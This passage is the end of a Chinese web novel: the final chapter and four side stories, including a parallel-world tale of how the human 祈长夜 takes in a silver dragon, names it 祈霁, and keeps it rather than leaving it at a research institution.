祈霁三两步跨到祈长夜面前，非常自然地坐在他身边，晃晃两瓶罐装汽水，眼眸映出融融的火光，微昂着下颌，似乎在等待夸夸。 亚瑟默默退去了，不知去了哪里。 祈长夜拿过一罐，摸摸祈霁脑袋：“真好，我喜欢这个。” 话音刚落，身边的大龙顿时弯起眼睛，非常开心的样子。 “哥哥的生日是什么时候？” 祈长夜拨开汽水罐，喝了一口：“不记得了。” 他偏向身边的人：“你的呢？” 祈霁沉默片刻：“我也不记得。” 他只记得，他诞生的时候……不是孤零零的。 他还记得，有个很重要，很重要——比他生命还重要的存在，陪伴着他，走了很久。 后来，他失去了他，很长一段时间，都忍受着钻心的痛楚。 但，现在—— 祈霁在夜色中依然明亮的眼眸，静静地描摹着祈长夜的眉目。 虽然记忆未曾复苏，但银龙就是笃定，这是他的失而复得。 身边的目光太过灼灼，几乎要点燃薄薄的夜幕。祈长夜淡定地转头，喂了他的大龙一口汽水。 祈霁：“甜的。” 祈长夜：“没你甜。” 祈霁：“…………” 一条尾巴悄咪咪冒了出来，悄咪咪地缠住他的人类。 祈霁一声不吭地抬手，一声不吭地把脸庞埋进祈长夜肩窝，飞快蹭蹭蹭。 “哥哥，”他紧紧贴住祈长夜，嗅闻着喜欢的温度和气息，就像龙占有着自己最珍贵的宝物，“下一次，我们也一起过生日吧。” 祈长夜微微地笑了起来：“好啊，等到明年。” 他抬起汽水罐，在篝火的余光中，对着晦暗将沉的天空遥遥举杯。 或许明年，这个世界，将迎来新生。 到那时，星空之下，所有人都将拥有庆祝新生的那天。 —— “这是什么？” “生日蛋糕。” “哥哥，这上面的呢？” “是你。” “……” “不好看吗？” “很好看，”祈霁眼睛亮亮的，望着那坨软塌塌的蛋糕上，用奶油做成的诡异扭曲的长条，“和我长得一模一样。” “哥哥的手艺真好！” 祈长夜失笑，拿起蜡烛，一根根插在他亲手做的蛋糕上：“先许愿吧。” 点燃的生日蜡烛前，祈霁灿金色的眼眸有光影摇晃：“哥哥帮我许吧。” 一年只有一次的生日愿望，他想给哥哥。 祈长夜：“那么，我的愿望是，你可以许一个属于自己的愿望。” 祈霁轻笑起来，说：“我许了以后，哥哥会答应吗？” 祈长夜：“嗯。” 祈霁眨眨眼睛：“什么样的都会答应吗？” 祈长夜看着他，微微挑了下眉：“嗯。” 好像在说，你敢许，我就敢应。 祈霁嘴角扬起的弧度一下子加深了，在摇曳的光影里，垂下眼帘，静静地许下一个愿望。 他希望，哥哥能和他…… 呼。 蜡烛吹灭，愿望达成。 歪歪曲曲的奶油“小龙”被送到了祈霁的盘子里，哥哥亲手做的蛋糕，也被吃得干干净净。 最后，蛋糕盒上空空的，什么也没有。 祈霁盯着那个蛋糕盒，翻翻底部，也是空空的。 左右晃晃，什么都没掉出来。 于是，这只大龙转过头，眼巴巴地看着祈长夜。 “哥哥，是不是少了什么。” “有吗？”祈长夜眨了下眼睛，“没有吧。” 祈霁：“……” 他还没来得及露出委屈巴巴的表情，左手被另一只修长的手轻轻拉起。 ——一枚戒指，被戴在他的指间。 同样素白的戒身内侧，刻有两个人的名字，镶嵌着一枚宛若燃烧黄金的璀璨宝石。 “和你眼睛颜色形似的宝石，我找到了。”祈长夜说，“不过，没有你的眼睛好看。” 以前，他就答应过小龙，要送他一块和他眼睛相似的，亮晶晶的石头。 “哥哥，这个就是最好看的。” 灿烂的笑意溢满祈霁的眼眸，比璀璨的宝石还要明耀。 他低头，珍惜地亲吻指间戒指，宛若亲吻爱人的心脏。 祈长夜的指间仿佛落下同样的灼热，手指微动，祈霁已伸手过来，与他十指交叠。 两枚戒指，静静地搭在一起，交相辉映。 “这是最好的生日礼物了。” 祈霁亲昵地磨蹭祈长夜指尖。 “哥哥，通讯器给我。” 祈长夜“嗯”了一声，看着这只大龙开开心心地拍了几张照，对着通讯器捣鼓了一会。 等通讯器再回到祈长夜手中时，他随意一瞥。 他的通讯列表爆了。 “？” 祈长夜定睛一看，祈霁拍了一张自己戴着戒指的照片。 附言，你怎么知道哥哥送了我这个？ 点了群发。 “……” 祈长夜再抬眼，某只大龙还非常无辜地坐在他旁边，眨巴眨巴眼睛。 “手滑，”祈霁摇摇尾巴，乖乖地说，“本来只是想发给舅舅的。” 通讯器不断震动，祈长夜再低头，明蓝给他发了一串三分钟的语音条。 语音条最长只有三分钟。 祈霁的下颌压在他的肩上，看起来依然乖乖的，一点坏心思都没有：“舅舅说了什么？” “没什么，”祈长夜淡定地摸摸他的乖巧小龙，“他们都在祝福我们。” 祈霁弯起眼睛，脸庞抵着他的掌心，抱住了他的腰。 “所以，哥哥今天可以满足我的愿望嘛？” 祈长夜再次挑了下眉：“不是坏的愿望吧？” “我才不会许坏愿望，”祈霁理直气壮地说，“我是哥哥最乖的小龙。” 祈长夜戳戳他的脸，目光穿过窗畔，望见了星空之上，一轮弯月。 百年前的星辰与月光，依然照拂在他们身上。 他举杯，对着天空遥遥一敬，敬他的队长，敬他的队友们。 …… 很快，祈长夜就发现。 有些时候。 他的小龙——确实一点也不乖。 第65章 番外二 【平行世界番外】 “观众朋友们下午好, 欢迎来到《跑进科学》栏目，据本台记者爆料，昨日十七点二十五分, 有市民在江边拍到了疑似‘龙’的的画面……” “节目组邀请到了知名专家为我们解答……经过专家解答, 我们可以发现, 市民拍下的并不是传说中的‘龙’, 而是一种特殊自然现象……” 茶几上的手机震动, 被一只颀长的手拾起。 “祈队。” 那头的人语气尊敬，迅速说了些什么，一道清冷而没什么情绪波澜的声音随之响起：“知道了。” 修长的身影站起, 随手披上衣架上的黑色风衣, 推门而出。 位于郊区地下的隐秘机构, 最高进化者力量防守的实验室深处, 电子门向两侧打开，露一双古井无波的乌黑眼眸。 黑色风衣、气场冷峻的年轻男人穿过长廊，众人恭敬地向他打过招呼，还有几个服饰明显更高级的管理者脚步匆匆，迎向了他。 “祈队, 还好您来了！” “情况就是这么个情况，不到半天时间，已经报废了五个最高等的防御罩, 我们中的进化者也没有能压制住它的……” 祈长夜一言不发地听着身边人的报告, 脚步如风, 已到来实验室最深处。 ——高达数十米的广阔房间，被钢化玻璃隔断, 用最高等的防护罩隔绝出一片巨大区域。 此刻，能够抵御最高等级怪物的防护罩上, 已经爬上一丝丝细小裂纹。 裂纹之后，是一双冰冷凛冽的灿金竖瞳。 ——近十几米长的庞大生物，身躯细长，遍披银白鳞甲，生有龙角与四爪。 这只难以形容之神圣美丽的生物轻灵而无声地漂浮于禁锢室内，鳞片折射莹润的光泽，宛若一片流淌的银河星海。 “龙”。 此刻，禁锢室外的工作人员初见这条银龙时的惊叹与震撼早已消退，变为不断增长的担忧和恐惧。 毫无疑问，这是一头极其强大的怪物。随着时间推移，所有人都看得出来，这座最高等级的进化者机构根本难以困住它——逃脱，只是时间问题。 机构管理者只能向祈长夜投来求助的视线。 昨天，正是靠这位祈队一人压制住了银龙，才让他们能够收容这只前所未见的强大怪物。 除了祈队之外，其他进化者根本不是真龙的对手。将银龙带到这里以后，他们本以为能够靠最高等级的防护装置困住它，再试探着与其交流——结果显而易见，恐怕不到明天，银龙就能脱困而出。 祈长夜的眼眸波澜不起，向前走去，短靴停在防护罩之前。 管理者惊讶地发现，在祈队出现之后，那条原本淡然游走于禁锢室内、不把任何人放在眼中的银龙忽然扭转头颅，锐利的灿金龙瞳直勾勾地盯住了他。 甚至于，祈队一靠近防护罩，银龙就垂下身躯，无声地贴近了过来。 如此庞大的生物，近距离接触之下，哪怕什么都不做，也有种恐怖的压迫。 祈长夜神色不变，屈起修长指节，漫不经心地敲了敲泛上裂纹的防御玻璃：“手下败将。” 银龙紧紧盯住他白皙的手指，随着指尖的移动，那双灿金竖瞳也不易察觉地微移。 管理者慢步上前，在银龙的凝视中几乎难以抬起腰背，低声说：“祈队，再这样下去，我们控制不住它。” “您能否——” 祈长夜淡淡地说：“我没有那么多时间。” “除非，让它和我回去。” 管理者有些犹豫：“它的体型太过庞大，移动路上很容易出现状况，况且祈队您家里好像也——” 话还没有说完，他惊愕地睁大嘴巴。 防护罩之后，那条庞大的银龙身形极具缩小，短短几秒间，就从十几米长，变成一条长约两米的“小龙”。 那双灿金色的龙瞳依然一眨不眨地盯着祈长夜，细长的身躯扭转，在他面前飘了一圈。 ——这只怪物，能够听懂他们交谈！ 管理者和其他工作人员惊骇的目光中，祈长夜的声音平静清沉：“看来，它想和我回家。” “……” 咔哒。 屋门落锁，玄关干净洁白的地板上，多了一条两米长的银龙。 没有任何防护装置禁锢，银龙就这样自由自在地进了屋子。 仰起脑袋，看着祈长夜。 祈长夜没有理它，跨过银龙横在中间的细长尾巴，走向卧室。 银龙被单独留在外面，左右看看，几秒后，试探着抬起爪子，很好奇地在地板上爬来爬去。 爬到沙发那边，脑袋拱拱抱枕，软乎乎的，再拱拱。 一不小心，掀翻了坐垫。 银龙看着被自己弄乱的沙发，甩了甩尾巴，想将上面抚平。 啪。 尾巴刚碰到沙发腿，沙发腿直接折了。 银龙：“……？” 这条小龙呆立在原地，竖立的金色竖瞳，多了几分心虚。 悄悄爬开一点，又不小心碰到墙边的花瓶。 啪。 花瓶碎了。 银龙：“……？？” 银龙小心地缩起尾巴，弧度很小地爬行，又被黑漆漆的电视屏幕吸引了注意，抬起银白爪子，好奇地想要碰碰。 它只是用了很轻的力气——结果，电视屏幕直接从中间裂开。 银龙：“！！！” 银龙完全呆住了，似乎不太能理解眼前发生的一切。 抬头看着电视屏幕，又低头看看自己的爪子，有点无措地揣起了爪子。 它不敢再到处乱动了，只好趴在地板上，趴成了生无可恋的一长条。 ——和之前威严凛然，神圣不可期的银白巨龙不能说一模一样，只能说判若两条。 忽然，银龙察觉到什么，极为缓慢地、一点点扭过脑袋。 祈长夜双手抱胸，站在客厅旁边，微微挑眉。 “赔钱。” 银龙：“……” 银龙啪叽一下， “……” 第66章 番外三 祈长夜走进卧室, 就见一小截银白尾巴从床尾漏了出来，趴在地板上，蔫蔫地蜷缩着。 他半蹲下来, 抓住那截尾巴, 往外一拖—— 一条长长的、趴成一坨的银龙被轻轻松松地从床底下拖了出来。 银龙扑腾一下, 似乎还想往床底钻钻, 祈长夜淡定地捏住它的尾巴尖尖：“不准动。” 于是银龙就不动了, 睁着大大的龙瞳，一眨不眨地看着他。 乖乖的。 祈长夜敲敲它的脑壳：“昨天不是还很凶吗？” 银龙埋下脑袋，似乎想要蹭蹭他的手, 祈长夜已经先一步将手收了回去。 于是, 这条小龙只能眼巴巴地将下巴压在地板上, 四只爪子比比划划, 指指黑洞洞的床底。 好像在说，我可以睡这里。 不会占很多位置的。 祈长夜：“睡这里，过段时间，是不是还要送你去魔法学校？” 银龙歪头，表示不解。 祈长夜的目光扫过这条小龙, 原本光洁漂亮的鳞片，因为到处乱爬，已经蹭上了一点灰。 “脏, ”他说, “去洗澡。” 于是银龙蜷缩着尾巴, 非常小心翼翼地黏在祈长夜脚边，跟他进了浴室。 明亮温暖的浴室, 到处都是银龙没见过的东西，它盯着那口白白的大缸, 还有那个会喷出水花的奇怪东西，有点好奇，微微伸长脖子，忍住了，没有扒拉。 祈长夜偏过脸的时候，银龙还往墙角贴了贴，表示自己很乖，不会乱动。 “过来。” 话音刚落，银龙就乖乖地爬了过来。 祈长夜抬手，掌心里就多了一只龙爪。 锋利的爪子，可以轻易划裂钢铁，在他的掌心里却变得软趴趴的。 祈长夜多看了银龙一眼，将那只爪子轻轻放入浴缸。 “烫吗？” 银龙有点新奇地感受着温热的水，爪子划拉划拉，又收了回去。 烫jio。 祈长夜多加了点冷水，感觉水温合适了，再扭头，微微一默。 银龙依然趴在他旁边，但，已经和刚才不太一样了。 原本，银龙浑身都泛着漂亮的流光，鳞片也如皎洁无暇的银月。 而现在，好像身上的光环被忽然撤下，障眼法消失，这条小龙，变成了一条有点灰扑扑的小龙。 鳞片依然泛着细闪，却没那么光洁。不仅如此，从头到尾，居然有几处鳞片出现了破损和翻折。 ——甚至，还有几块地方，像是早年受过伤，鳞片缺失，露出底下淡淡的肉色，直到现在都没痊愈。 活脱脱一条从深山老林里出来，没人养的小野龙。 祈长夜：“原来你真的会魔法。” 银龙好像理解了这个词的意思，爪子又开始比比划划。 祈长夜发现自己莫名能够读懂那双龙瞳里的情绪。 这是一条爱漂亮的小龙，所以给自己加了点伪装，想给外面的世界一个好印象。 但现在它要洗澡啦，就变回了原本的样子。 祈长夜的目光停留在那些坑坑洼洼的伤口间，说：“你怎么把自己养得这么差。” 银龙委屈巴巴地趴在地板上，耷拉下眼睛。 从蛋壳里爬出来的时候，它就是孤零零一条龙，还没一片叶子大，什么都不懂，什么都不会做。 它不知道怎么养自己，晚上很冷，下雨的地面又湿又脏，山林打雷的时候也很可怕……它想给自己找一个窝，但是爬不快，有几次从高高的地方摔了下来，没死，只是疼了很久。 白天在山林里爬着找窝的时候，经常被尖尖的石头扎一下，也很疼。 不过，疼着疼着，它就习惯了，再后来，它会飞了，再也不怕摔下去，也不会被石头扎出血了。 现在，它是一条不怕疼的大龙啦。 祈长夜一言不发地望着那双圆溜溜的龙瞳，忽然意识到，这条原本体型十几米长的龙，恐怕还只是一条小龙，还没有渡过真龙的成年期。 懵然无知地闯入了这个世界，被当成怪物抓了起来。 他的手指拂过那些残缺的鳞片：“疼不疼？” 银龙飞快摇摇脑袋。 “进来。” 银龙爪子扒拉着浴缸边缘，飘起一点，扑通，落进了水中。 暖哒！ 破壳之后第一次洗热水澡的小龙，非常喜欢暖乎乎的水温，欢快地在浴缸里扑腾，溅起水花。 玩了一会，忽然想起旁边还有祈长夜，扭头，发现他的衣服都被自己溅湿了。 银龙有点心虚，乖乖巧巧地盘成一圈圈，脑袋搭在浴缸边缘，对那个漂亮人类眨巴眨巴眼睛。 祈长夜往浴缸里挤沐浴露：“闭上嘴巴，眼睛也闭上。” “……不要吃泡泡，有毒。” 洗洗刷刷，近一个小时后—— 银龙趴在镜子前，龙瞳睁得大大的，一眨不眨地看着自己。 扭头，追着尾巴啪嗒啪嗒转了一圈，再看看镜子。 每一枚鳞片，都闪闪发亮，光洁如新，比之前还闪耀。 从灰扑扑的小野龙，变成了不用障眼法，也干干净净，银白如雪的超漂亮小龙。 银龙再低头蹭蹭自己。 香香的。 喜欢！ 这条小龙开心地飞了起来，围着祈长夜绕圈圈，摇头晃脑，细长的尾巴摆来摆去。 啪。 尾巴不小心拍到了镜子。 ——但，这次，银龙已经学会收敛了所有力量，所以镜子没碎。 继续开心地扭来扭去。 祈长夜活动一下微酸的手腕，说：“我要休息了。” “你去睡沙发。” 只有一间卧室的屋子，客厅的沙发，被铺上了柔软的被褥。 银龙钻进被子里，拱来拱去，拱出了一个窝的形状。 欢快地冒出脑袋，好像想邀请祈长夜，却看见了碎掉一半的电视。 于是，它又有点心虚地偷瞄祈长夜。 祈长夜淡定地说：“明天就把你卖了，拿去换钱。” 银龙：“！” 这条小龙又飞快缩进被窝里，不敢冒头了。 啪。 客厅的灯关上，只有清幽的月光，落在阳台窗畔。 片刻后，一双明亮的金瞳在黑暗里亮起，银龙钻出被子，爪子把两边的被角往里塞塞，压住，搭成一个不透风的小窝。 叼起一只抱枕，钻进这个新窝里，蜷缩成一小团。 软的。 比树叶软很多，而且，暖乎乎的，像轻飘飘的云。 喜欢。 ……但是，那个人身上最暖和。 还香香的，是在梦里出现过的好闻气息。 最喜欢！ 破壳之后，第一次睡到温暖小窝的银白小龙，开心地抱着一只小抱枕，假装这就是那个漂亮的人类，开心地哄自己入睡了。 第67章 番外四 清晨, 卧室门被推开，宽松衬衫，乌发柔软的年轻男子走了出来。 他穿着闲适的家居服, 衬衫扣子解开几颗, 露出大片泛白肌肤, 挺括黑裤更显双腿修长。 刚出房间, 一条银龙欢快地蹿过来, 围着他的脚边转圈圈，软软地往他身上扑腾。 祈长夜垂首，手指挠挠银龙下巴, 银龙开心地蹭蹭他的衣角, 细长的小尾巴飞快甩来甩去。 “今天会有客人来, ”祈长夜说, “不准像前天一样凶人。” 银龙听懂了这句话，飞快点点脑袋，一副乖乖巧巧的样子。 祈长夜向厨房走去，这条小龙就紧紧黏着他的裤腿，啪嗒啪嗒跟着他。 厨房里, 干净程亮的锅碗瓢盆摆放得井然有序，赏心悦目。 昨天的晚餐是在进化者机构解决的，银龙也吃了一些, 但吃得不多。 祈长夜看着欢快地在厨房里溜达来溜达去的银龙, 决定给这只还在长身体的小龙做一顿营养早餐。 银龙自己追着尾巴玩了一会, 见那个漂亮人类的目光没有落在它身上，飘到他身边, 昂起脑袋，一眨不眨地看着他。 好看。 过了一会, 跑到另一边，再看看。 也好看！ 昂着脑袋的小龙，被喂了一颗苹果。 很快，一桌早餐做好，五颜六色，非常精彩。 “尝尝看。” 涉世未深的银龙盯着面前那盘黑乎乎的炒鸡蛋，毫无防备地嗷呜一口，嚼嚼嚼。 ……好像，好像和昨天吃到的东西不太一样。 和刚刚吃到的脆果子也不太一样。 不确定，再嚼嚼。 ……好像有股奇妙的味道。 不确定，再嚼嚼嚼。 “……” 银龙不嚼了，悄咪咪抬起脑袋。 祈长夜单手撑着下颌，眼眸平静，几缕乌发发丝落在白皙指间，晨曦的微光下，泛着漂亮如白瓷的色泽。 银龙的龙瞳似乎定了一秒，听见那道好听的声音：“我做的不好吃吗？” ……才没有不好吃！ 一定是它的问题！ 于是银龙嗷呜一口，把剩下的早餐席卷而空。 祈长夜：挺好。 看来他的手艺并没有退步。 那双乌黑眼眸似乎多了几分悦色，伸手，揉揉趴在桌边的银龙脑袋。 原本一动不动疑似“吃撑了”的银龙嗖一下支愣起来了。 上午时分，有专人上门，来更换电视和沙发。 没有被漂亮人类拿去卖钱的银龙盯着那几个陌生的闯入者，无声地在祈长夜身边徘徊，寸步不离地守着他。 就像，雄狮守着自己的领地。 真龙无意间流露出来的威势，就算进化者都难以承受，更别提普通的机构工作人员——很快，那几个工作人员就开始战战兢兢。 祈长夜垂眼，指节屈起，敲一下银龙脑壳。 银龙昂起脑袋看看他，龙瞳变得圆溜溜的，非常清澈。 趴在地板上，揣着小爪子，摇摇尾巴。 无形的压力消失，很快，电视和沙发都被换新，工作人员告辞离开。 他们前脚刚走，又有一道人影从门外走了进来。 “哥。” 那是个清秀的青年，眼睛弯弯，怀里抱着一只雪白的猫咪。 “听说你养了一只怪物？” 原本围着祈长夜转圈圈的银龙侧首，龙瞳微微眯起。 祈长夜语气平淡：“谁让你过来的。” 谢荇笑容不减：“舅舅说，让我来看看你。” 他抱着那只白猫，不紧不慢地走到祈长夜面前，目光落在他的眉眼间：“与其养那种不通人性的东西，不如看看我这只漂亮的小玩意。” 他松手，猫猫在空中伸展四肢，轻盈落地。 那是一只漂亮的波斯猫，毛毛蓬松，憨态可掬，一落地，就发出可爱的喵喵声。 金色龙瞳立刻竖起，银龙一言不发地挺直身躯，漠然垂首。 琥珀色的猫瞳撞上那双金色竖瞳。 下一秒，猫猫开始顺拐，猫猫开始逃跑，猫猫蹿进了墙角。 银龙下颌微昂，一副得胜者的矜傲姿态，优雅地坐在原地，转过脑袋，蹭蹭祈长夜垂下来的手指。 这番亲昵的动作令谢荇笑意微收，目光多了几分冷意。 银龙漠然地抬起金色竖瞳。 谢荇脸色猝变，后退一步，冷汗一下从额上冒出。 他毫不犹豫地说：“哥，它凶我！” 祈长夜低头。 银龙睁着圆溜溜的龙瞳，眨巴眨巴，对他歪了下脑袋。 软软的尾巴圈起，好像比了个小爱心。 “没有，”祈长夜抬眼，平静无澜，“你看错了。” 谢荇：“……” 不速之客很快走了，光滑的地板上，连根猫毛都没有留下。 银龙仿佛一位得胜将军，在客厅里优雅地溜达几圈，得意洋洋地巡视自己赢下的战场。 祈长夜坐在沙发上，伸手：“过来。” 刚刚还姿态优雅的银龙撒欢地小跑到祈长夜身边，脑袋往他腿上一扎，不停蹭蹭。 桌边的手机响起电话铃声，祈长夜还没抬手，轻飘飘的风就托起手机，送到他的手边。 他摸摸银龙脑袋，在那双弯弯的金色龙瞳注视中，按下接听。 “……” 那边的人不知道说了什么，祈长夜的表情没有丝毫变化，直到最后，才淡淡地说了句“知道了”。 他挂断电话，看着面前的小龙。 “明天，带你去另一个地方。” 无忧无虑的银白小龙没有多想，又往祈长夜身上拱拱，蹭进了他的怀里。 喜欢！ 细长的尾巴一摇一摇，银龙开心地将脑袋埋进它的人类胸口，软乎乎地拱来拱去。 祈长夜眼睫微垂，望着这只活泼的小龙，乌黑睫羽掩盖住了眸底神色。 当天晚上，他让银龙留在客厅，自己走进卧室，又拨了几通电话。 半小时后，祈长夜走出卧室，客厅空荡荡的，不见那条银白小龙的身影。 他听到厨房里传来声音，偏过脸—— 看见一条银龙趴在厨房的料理台边做饭。 祈长夜：“……” 他后退一步，关上房门，再拉开。 厨房里，银龙在炒菜。 祈长夜：“…………” 第68章 番外五 微风卷起锅碗瓢盆, 银白小龙乘风飞起，熟练地操作着厨房。 祈长夜无言地站在厨房门口，发现他养的这只小龙, 好像在做三菜一汤。 感觉到他的气息, 银白小龙扭头, 发出轻快的“嗷嗷”声。 好像在说, 马上就能吃饭啦！ 祈长夜：“你会说话了？” 银白小龙飘到他身边, 脑袋亲昵地贴住他的脸庞：“嗷呜！” 刚学会哒！ ——在见到那个喊它的漂亮人类“哥哥”的难看人类后，还没成年的小龙爆发了前所未有的危机感。 嗖一下就成长了一点。 它要再长大一点，变得更厉害, 这样, 哥哥就是它的了！ 哥哥有它一只就够了, 不准养其他东西！ 银白小龙围着祈长夜转来转去, 趁他不注意的时候，细长的尾巴将他悄咪咪圈了起来。 祈长夜：“焦了。” 锅烧焦了。 “！” ——半小时后，三菜一汤被端上了桌。 银龙跳到祈长夜旁边的凳子上，小脑袋搁在桌边，龙瞳亮亮地看着他。 祈长夜尝了一口, 眼中流露出微微意外的神色。 居然还可以。 和他做的都差不多了。 他抬手，摸摸这只心灵手巧的厉害小龙：“味道不错。” 银白小龙开心地拱拱他的掌心，吧唧亲了一口。 “嗷呜！” 哥哥喜欢的话, 以后我天天给你做！ 掌心落下微微的湿润, 祈长夜收回手, 静静地看着摇头晃脑的可爱小龙。 银白小龙没有得到回应，又开始“嗷呜嗷呜”。 可以嘛！可以嘛！ 祈长夜安静片刻, 盛了一碗汤，轻轻放到这只小龙面前：“好。” —— 第二天清晨, 下起了蒙蒙细雨。 祈长夜在卧室里待了一会，直到数个电话打来，才起身，带银龙出门。 银白小龙蹦来蹦去，它不知道要去哪里，不过，能和哥哥在一起，哪里它都喜欢。 开开心心地围着祈长夜飘来飘去，像只听话的小气球。 祈长夜的目光落在它身上，对上那双亮晶晶的金色龙瞳，什么也没说，片刻后，微微偏过视线。 银龙又飘到他面前，软乎乎地蹭蹭他的脸。 祈长夜手中伞面微倾，为这只小龙挡住了落下的雨滴。 他们登上一架私人飞机，数小时后，从原来的城市，抵达一座陌生的岛屿。 岛屿建起庞大的机构，仿若坚固的钢铁要塞。 这里的管理者带领数个工作人员前来迎接祈长夜，语气尊敬，将他带往机构深处。他们的打量，也频频落在银龙身上。 第一次跟着哥哥坐了飞机，还有些兴奋的银龙似乎察觉到了什么，一进机构就从空中落地，紧紧地黏在祈长夜裤腿边。 “嗷呜。” 这条小龙紧紧盯着头顶高耸的天花板，发出软软的声音，蹭蹭祈长夜的手。 祈长夜垂眼，摸摸它的脑袋。 于是，银龙好像好像多了几分安定，放下心来。 “祈队，经过检测，这的确是传闻中的帝龙血脉。” 等来到机构深处，管理者早有准备地开口。 “上面已经下达指令，这种级别的神圣生物，将交由我们照料。” 祈长夜的语气没有什么情绪：“不是监管吗？” “当然不是，您放心，它是世间唯一一条真龙，在这里它将享受最高的待遇与权利，我们所有人的工作，就是为它服务。” 管理者微微俯身，对银龙露出一个笑容。 “以后，这里就是你的家。” “……” 从管理者说出第一句话起，银白小龙就不动了。 它昂起脑袋，一眨不眨地看看祈长夜，原本圆溜溜的龙瞳，耷拉了下来。 祈长夜垂眼，乌黑眸底映出的龙瞳一片黯淡，失去了所有光彩。 “嗷呜。” 银龙发出低弱的嗷呜声，抬起小爪子，小心翼翼地扒拉他的衣角。 祈长夜的眼睫不易察觉地微动一下，手指微收。 “去吧，”他听见自己平静的声音，“以后，我会常来看你的。” “……” 细长的龙尾耷拉在地上，好像连抬起来的力气都没有了。 银龙一下下轻拱祈长夜，脑袋埋在他的衣间，低微而祈求地磨蹭着，似乎还想要他抱抱。 祈长夜没有抬手。 最终，这只银白小龙一点点垂下了脑袋，仿佛被抽掉了脊骨，失去了所有能够支撑它的东西。 它不再看祈长夜，而是慢吞吞，慢吞吞地向前爬去。 祈长夜静静地站在原地，目送那道背影。 世间唯一一条真龙，注定不会属于他。 留在这里，它会受到很好的照顾，会站在高处，成为睥睨整个世界的存在。 但—— 祈长夜微微闭上眼睛，再睁开。 “等等。” 话音刚落，银龙就扭转身躯，如同一颗小小的炮弹，嗖地蹿向了他。 “嗷呜！！” 慢慢吞吞、磨蹭了半天都没走出两米的距离，一秒就回归了起点。 银白小龙扎进祈长夜怀里，如同一尾活泼的游鱼，被他稳稳接住。 他抬手，掌心托住小龙柔软的脊背，那只小脑袋就在他怀里飞快拱来拱去，很快就把他的衣服都蹭乱了。 细长的尾巴紧紧圈住他的手腕，缠了一圈又一圈，那双金色龙瞳眨巴眨巴，写满了委屈。 “啾啾！啾啾！” “知道了。”祈长夜轻拍小龙脑袋，轻而低地重复了一句，“我知道。” 我知道，你不想走。 也知道，你不想孤零零的。 ——我也是。 …… 祈长夜抱着小龙，走出进化者机构的时候，雨已经停了。 天空开始放晴，阳光穿洒云层，碧空如洗。 银白小龙赖在他的怀里，尾巴缠在他的腰上，四只小爪爪也紧紧地揪住他的衣服，像只黏糊糊的小八爪鱼。 软软的小脑袋搁在他的肩膀，非常开心地蹭来蹭去，用银白龙角摩挲他的侧脸。 “祈霁，”他说，“以后，你就叫祈霁。” 小祈霁昂起脑袋，灿金色的龙瞳里映出那个漂亮人类的脸庞，像是落入了无数细小的星星。 “啾啾。” 哥哥会丢下我嘛？ “不会。” “啾啾啾！” 我吃得很少，不会浪费哥哥钱哒！ “不用，我有钱。” “啾啾啾啾！” 等我长大了，我也要养哥哥！ “好，那我等着你长大。” “嗷呜！” “——也不用着急，反正，我们还有很多时间。” “啾啾啾啾啾！” “哥哥，哥哥。” 客厅里，银发金瞳的少年揪揪祈长夜衣角，摇晃摇晃。 “哥哥可以再讲一下，你把我带回家的故事嘛？” “因为你很可爱，”祈长夜偏头看着他，声音淡然而温和，“所以，我把你抱回来了。” 祈霁的眼睛弯弯：“因为哥哥最喜欢我！” 遇到哥哥以后，他再也不是孤零零的小龙了。 他是有哥哥喜欢的小龙！ 融融的日光里，祈霁趁祈长夜不注意，悄咪咪地用他的银发缠住乌黑发丝，打了个小小的结。 这是他喜欢的人。 ——想一直和他在一起，永远不分开。 （全书完）